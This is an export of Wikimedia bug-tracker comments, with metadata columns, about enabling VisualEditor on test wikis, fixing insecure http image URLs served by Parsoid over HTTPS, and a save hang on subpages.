+201641,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,Related URL: https://gerrit.wikimedia.org/r/61382 (Gerrit Change I56906c123e924b84eb9ee076cd67254f8935911d),,,1367247867,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+201635,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"(In reply to comment #5)
+> Related URL: https://gerrit.wikimedia.org/r/61250 (Gerrit Change
+> I98028df0bcb621e8f13a2f8ab130e86a9010ebeb)
+This change enables VisualEditor on test2wiki, and will be deployed on Monday.
+
+I fixed the namespace configuration last week, it's now the same on all wikis: VisualEditor is enabled in the main and user namespaces, as well as the VisualEditor namespace where it exists (testwiki and mediawikiwiki have this namespace for historical reasons).",,,1367130629,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+201630,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,Related URL: https://gerrit.wikimedia.org/r/61250 (Gerrit Change I98028df0bcb621e8f13a2f8ab130e86a9010ebeb),,,1367130305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+201625,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"http://test.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing allows to ""Enable VisualEditor (only in the main and user namespaces)""
+http://test2.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing does not offer enabling VisualEditor.
+
+Roan: As this is assigned to you, do you plan to work on this and is this high priority? If not, please reset. Thanks.",,,1366908803,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0
+201620,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"I can see ""Enable VisualEditor"" checkbox at en.wikipedia.org[1] but not at test2.wikipedia.org[2].
+
+[1] http://en.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing
+[2] http://test2.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing",,,1355926606,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+201615,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,I believe Roan will be doing this later today.,,,1355343355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+201608,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,Apparently there's interest in having VisualEditor enabled on test2.wikipedia.org as well (cf. <http://lists.wikimedia.org/pipermail/wikitech-l/2012-December/065034.html>).,,,1355341331,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+45015,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"When I go to <https://en.wikipedia.org/wiki/User:Trevor_Parscal> and click the ""visualeditor"" tab, my browser console says:
+
+---
+The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal displayed insecure content from http://en.wikipedia.org/w?title=Special:FilePath/California_Bay_Area_county_map.svg&width=.
+---
+
+Consequently, the pretty green lock icon in Google Chrome turns yellow.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1355327160,1372119634.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+201426,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+201420,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70) | change APPROVED and MERGED [by jenkins-bot],,,1372119634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+201413,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The fix will go out with tomorrow's Parsoid deployment.,,,1372119634,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+201408,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517) | change APPROVED and MERGED [by jenkins-bot],,,1372119224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+201403,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517),,,1372117100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+201400,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70),,,1372115462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+201395,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49984 has been marked as a duplicate of this bug. ***,,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+201387,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"We used to use a special page redirect hack, but now use the API to properly retrieve image information including the path. So the new code needs to implement some similar protocol-relative massaging for image URLs, at least for the domains we know to support both http and https.",,,1371603843,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+201379,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"Per Roan's comments, moving to Parsoid so they can fix.",,,1371603429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+201375,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"(In reply to comment #7)
+> This seems to have been unfixed in production.
+> 
+Specifically, Parsoid is now once again returning http:// URLs for images (except in labs, where it returns https:// URLs). MZ submitted a fix in December to make these URLs protocol-relative, but this seems to have been unfixed somehow.
+
+Perhaps the repository URL is being grabbed from the API? That would explain why it's now a fully qualified URL, and it might explain the difference between labs and production.",,,1371603136,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+201372,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"This seems to have been unfixed in production.
+
+Strangely, parsoid.wmflabs.org is now giving me https URLs for images.",,,1371583342,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+201367,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49283 has been marked as a duplicate of this bug. ***,,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+201361,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/California_Bay_Area_county_map.svg/38px-California_Bay_Area_county_map.svg.png.,,,1371574794,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+201355,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"I am getting this issue, on the test page referenced in the bug and others, again. The URLs do not contain Special:FilePath anymore, so perhaps something was changed about  how images are handled that introduced a regression? Reopening this bug since the issue appears to be essentially the same.",,,1371531045,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+201351,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Tagging with deploy-train cycle.,,,1357578934,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+201347,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Fixed by <https://gerrit.wikimedia.org/r/38673>.,,,1355449078,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+201342,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Upstream Parsoid bug: bug 42976,,,1355339026,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44988,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","[Wikitech-l] Alpha version of the VisualEditor now available on the English Wikipedia
+
+I tried it on enwiki in my sandbox. 
+
+It does not work: when I want to ""Review and save"" a box pops up ""Review your changes"" --- but nothing happens.
+
+* MediaWiki 	1.21wmf5 (f4a44f9)
+* VisualEditor (Version 0.1.0) 	(2e6425a)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1355299800,1355429392.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-vhisdvekk4sgvgkkuben,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+199758,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","For completeness: This was fixed in https://gerrit.wikimedia.org/r/38382, because I broke new page creation in the Selective Serializer by not properly handling the error that was raised on not finding page content. Sorry about that folks, there was some turbulence, but we're looking to arrive at our destination ahead of schedule.",,,1355515620,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+199752,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","Just a note: this affected all page creations, not just subpages. The selective serializer mode did not deal properly with the fetch failure for the original (non-existing) page source.",,,1355436359,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+199746,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them",Happy to help. :-),,,1355436247,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+199741,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","@James Yes I confirm that it now works for me on my subpage ! Well and quickly fixed.
+
+:-)",,,1355434816,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0
+199735,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","This appears to now be fixed, following an update to the Parsoid service yesterday; I can now edit and create articles with ""/""s in their title. Closing as fixed.",,,1355429392,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+199731,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","There are going to be lots of things that are broken... that's why it's an experimental alpha release. It works on lots of pages but it still doesn't on lots of others. Personally I'd say the hype is valid but so are the huge cautions of how many things don't work :). 
+
+Roan et.al: After some quick experimentation this looks like a possible issues with sub pages in general. The 'hang and not do anything' error that Wikinaut is talking about happens when you're trying to create the subpage (Also experienced it trying to create a subpage in mainspace with the VE). If you try to edit a subpage with VE after it already existed (was created with normal editor) then you get a pop up warning ""Error loading data from server: Server error. Would you like to retry?"". Trying a couple times on a couple different pages the situation appears to be the same each time.
+
+Tested pages:
+
+User:Jalexander/sandbox
+Wikipedia/History?redirect=no
+User:Wikinaut/sandbox
+Wikipedia/test
+
+I can do screenshots if you need them easily.",,,1355357679,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+199728,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","Big hype about non working VE...
+
+this page does not work with VE https://en.wikipedia.org/wiki/User:Wikinaut/sandbox",,,1355355946,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+199724,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","(In reply to comment #6)
+> VE alpha == not mature yet
+That's what we've been telling everyone all along. There's a reason we called it an alpha release ;)
+
+Could you link to the page that was failing for you?",,,1355338217,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+199720,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","I tried other pages, saw different page formatting when using template {{ok}}  and got immediately 
+
++ ""Error loading data from server: Unsuccessful request: Error contacting the Parsoid server""
+
+when trying to edit and ""Review and save""
+
+VE alpha == not mature yet",,,1355309356,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+199717,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","@James
+
++ works on my User page
++ does not work on User:username/Sandbox page (personal link portlet ""Sandbox"")
+
+I modified the bug title.",,,1355302660,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0
+199713,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","Not totally sure what's up with the Firefox piece other then see if you can try again a couple minutes later or another page (though your sandbox shouldn't be a problem) so I'll leave that for JamesF and the VE crew ;). 
+
